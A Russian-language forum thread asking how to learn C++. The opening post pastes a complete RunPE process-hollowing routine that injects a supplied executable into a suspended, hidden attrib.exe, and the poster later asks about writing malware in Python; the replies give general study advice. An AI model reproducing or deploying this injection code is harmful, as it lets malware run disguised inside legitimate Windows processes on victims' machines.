Загрузка...

How to learn c++?

Thread in C/C++ created by rafamont Feb 16, 2018. 2036 views

  1. rafamont
    rafamont Topic starter Feb 16, 2018 Пока ты спишь,твой враг качаеться 1 Mar 13, 2017
    Ребят,учу я с++,но когда я смотрю чужой код - ничего не понимаю,что делать,как и где научиться?
    Вот например это, Как это выучить?

    Code

    int RunPortableExecutable(void* Image) {
    IMAGE_DOS_HEADER* DOSHeader;
    IMAGE_NT_HEADERS* NtHeader;
    IMAGE_SECTION_HEADER* SectionHeader;
    PROCESS_INFORMATION PI;
    STARTUPINFOA SI;
    CONTEXT* CTX;
    DWORD* ImageBase; // base address of the image
    void* pImageBase; // pointer to the image base
    int count;
    char *CurrentFilePath = "C:\\Windows\\System32\\attrib.exe";


    DOSHeader = PIMAGE_DOS_HEADER(Image);
    NtHeader = PIMAGE_NT_HEADERS(DWORD(Image) + DOSHeader->e_lfanew);

    if (NtHeader->Signature == IMAGE_NT_SIGNATURE) {
    ZeroMemory(&PI, sizeof(PI));
    ZeroMemory(&SI, sizeof(SI));
    typedef LONG(WINAPI * NtUnmapViewOfSection)(HANDLE ProcessHandle, PVOID BaseAddress);
    NtUnmapViewOfSection mNtUnmapViewOfSection;



    if (CreateProcessA(CurrentFilePath, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED | CREATE_NO_WINDOW, NULL, NULL, &SI, &PI)) {
    CTX = PCONTEXT(VirtualAlloc(NULL, sizeof(CTX), MEM_COMMIT, PAGE_READWRITE));
    CTX->ContextFlags = CONTEXT_FULL;
    if (GetThreadContext(PI.hThread, LPCONTEXT(CTX))) {
    ReadProcessMemory(PI.hProcess, LPCVOID(CTX->Ebx + 8), LPVOID(&ImageBase), 4, 0);
    pImageBase = VirtualAllocEx(PI.hProcess, LPVOID(NtHeader->OptionalHeader.ImageBase),
    NtHeader->OptionalHeader.SizeOfImage, 0x3000, PAGE_EXECUTE_READWRITE);
    WriteProcessMemory(PI.hProcess, pImageBase, Image, NtHeader->OptionalHeader.SizeOfHeaders, NULL);
    for (count = 0; count < NtHeader->FileHeader.NumberOfSections; count++) {
    SectionHeader = PIMAGE_SECTION_HEADER(DWORD(Image) + DOSHeader->e_lfanew + 248 + (count * 40));
    WriteProcessMemory(PI.hProcess, LPVOID(DWORD(pImageBase) + SectionHeader->VirtualAddress),
    LPVOID(DWORD(Image) + SectionHeader->PointerToRawData), SectionHeader->SizeOfRawData, 0);
    }
    WriteProcessMemory(PI.hProcess, LPVOID(CTX->Ebx + 8), LPVOID(&NtHeader->OptionalHeader.ImageBase), 4, 0);
    CTX->Eax = DWORD(pImageBase) + NtHeader->OptionalHeader.AddressOfEntryPoint;
    SetThreadContext(PI.hThread, LPCONTEXT(CTX));
    ResumeThread(PI.hThread);
    return 0;
    }
    }

    }
    }
    Знаю, что тут есть погромисты. Поможете?
    Что читать чтобы научиться хорошо писать на с++?
     
  2. DirL
    DirL Feb 16, 2018 GigaHui 182 Feb 20, 2017
    https://habrahabr.ru/
     
  3. madwayz1337
    madwayz1337 Feb 16, 2018 HARDLINE CREW 75 Dec 20, 2016
    А ещё больше кода не было? В несколько сотен тысяч строк и миллион файлов.
     
  4. rafamont
    rafamont Topic starter Feb 16, 2018 Пока ты спишь,твой враг качаеться 1 Mar 13, 2017
    Я так понял, нормального ответа никто дать не может
     
  5. CTAKAHH
    CTAKAHH Feb 16, 2018 142 Apr 2, 2017
    нужно желание и цель,а всё остальное придёт
     
  6. madwayz1337
    madwayz1337 Feb 16, 2018 HARDLINE CREW 75 Dec 20, 2016
    Вообще, лучше начать с питона. Серьёзно. Самый простой и понятный язык. Получай базовые знания из книг/сайтов и пробуй писать какие-то свои маленькие программы. Скачай задачник для программирования и выполняй задания по нему. Если напишешь в телегу, то скину свой madwayz1337.
     
  7. rafamont
    rafamont Topic starter Feb 16, 2018 Пока ты спишь,твой враг качаеться 1 Mar 13, 2017
    Мальвары реально писать на питоне?
    Я слышал, что лучше на с++ писать
     
  8. rafamont
    rafamont Topic starter Feb 16, 2018 Пока ты спишь,твой враг качаеться 1 Mar 13, 2017
    Хах,желание ничего не дает
     
  9. madwayz1337
    madwayz1337 Feb 16, 2018 HARDLINE CREW 75 Dec 20, 2016
    У питона огроменный репозиторий. Пиши чё хочешь.
     
  10. Yffhnlol
    Yffhnlol Feb 16, 2018 come in stranger 26 Dec 24, 2017
    это не учить надо назубок...здесь нужна большая практика твоего программирования. Функции необходимо смотреть в документалке и понимать, что они делают и какие оргументы принимаю, а так же их перезагрузку.

    даже люди с хорошим стажем тратят много времени , что бы понять чужой код. именно по этой причине многие говорят, что лучше написать с нуля, чем дописывать функционал или еще адовее, что-то переделать.

    это книги, это ютуб циклы роликов, это практика.
     
  11. 4cher_inactive107131
    4cher_inactive107131 Feb 16, 2018 Banned 157 Apr 27, 2017
    Лол, так это уже библиотека c++. Ты в начале выучи сам C++, а потом в библиотеки лезь
     
  12. lioneal
    lioneal Feb 16, 2018 59 Dec 24, 2017
    Ну по мне лучше начинать с паскаля, а так что бы нормально знать C++ то нужно литературу почитать. Для начала начни с переменных и структуры кода. Очень хорошая книга Керниган, Ричи "Язык C", там очень хорошо все описано. Конечно это не C++ но переучится не так уж и сложно.
     
  13. rafamont
    rafamont Topic starter Feb 17, 2018 Пока ты спишь,твой враг качаеться 1 Mar 13, 2017
    Сам с++ я знаю,но с библиотеками туго пздц
     
  14. bomba_bomba
    bomba_bomba Feb 17, 2018 БАТЯ В ЗДАНИИ 551 Jul 11, 2017
  15. Tailasha
    Tailasha Feb 17, 2018 Banned 135 Mar 5, 2017
    А зачем тебе чужой код :D ???
     
  16. Young_294915
    Young_294915 Feb 17, 2018 Banned 14 Feb 9, 2018
    хз, мы на инфе проходим xD
     
  17. rafamont
    rafamont Topic starter Feb 17, 2018 Пока ты спишь,твой враг качаеться 1 Mar 13, 2017
    Виндовс апи проходите,или просто с++?
     
  18. Deeroman
    Deeroman Feb 17, 2018 Banned 171 Dec 5, 2016
    Во первых, у Вас должна быть цель.
    Во вторых, Вы не должны лениться
    В третьих, есть книги и YouTube
     
  19. Young_294915
    Young_294915 Feb 17, 2018 Banned 14 Feb 9, 2018
    просто
     
  20. L1net_inactive98796
    L1net_inactive98796 Feb 17, 2018 Banned 240 Mar 29, 2017

    почти не знаю c++ но в коде вроде разобрался, это видимо дар - этому нельзя научится.. :D
    (смотри и вникай в код, попробуй вникнуть в код а потом посмотреть что он делает - когда начишся понимать что код делает, начнешь понимать сам код)
     
Loading...
Top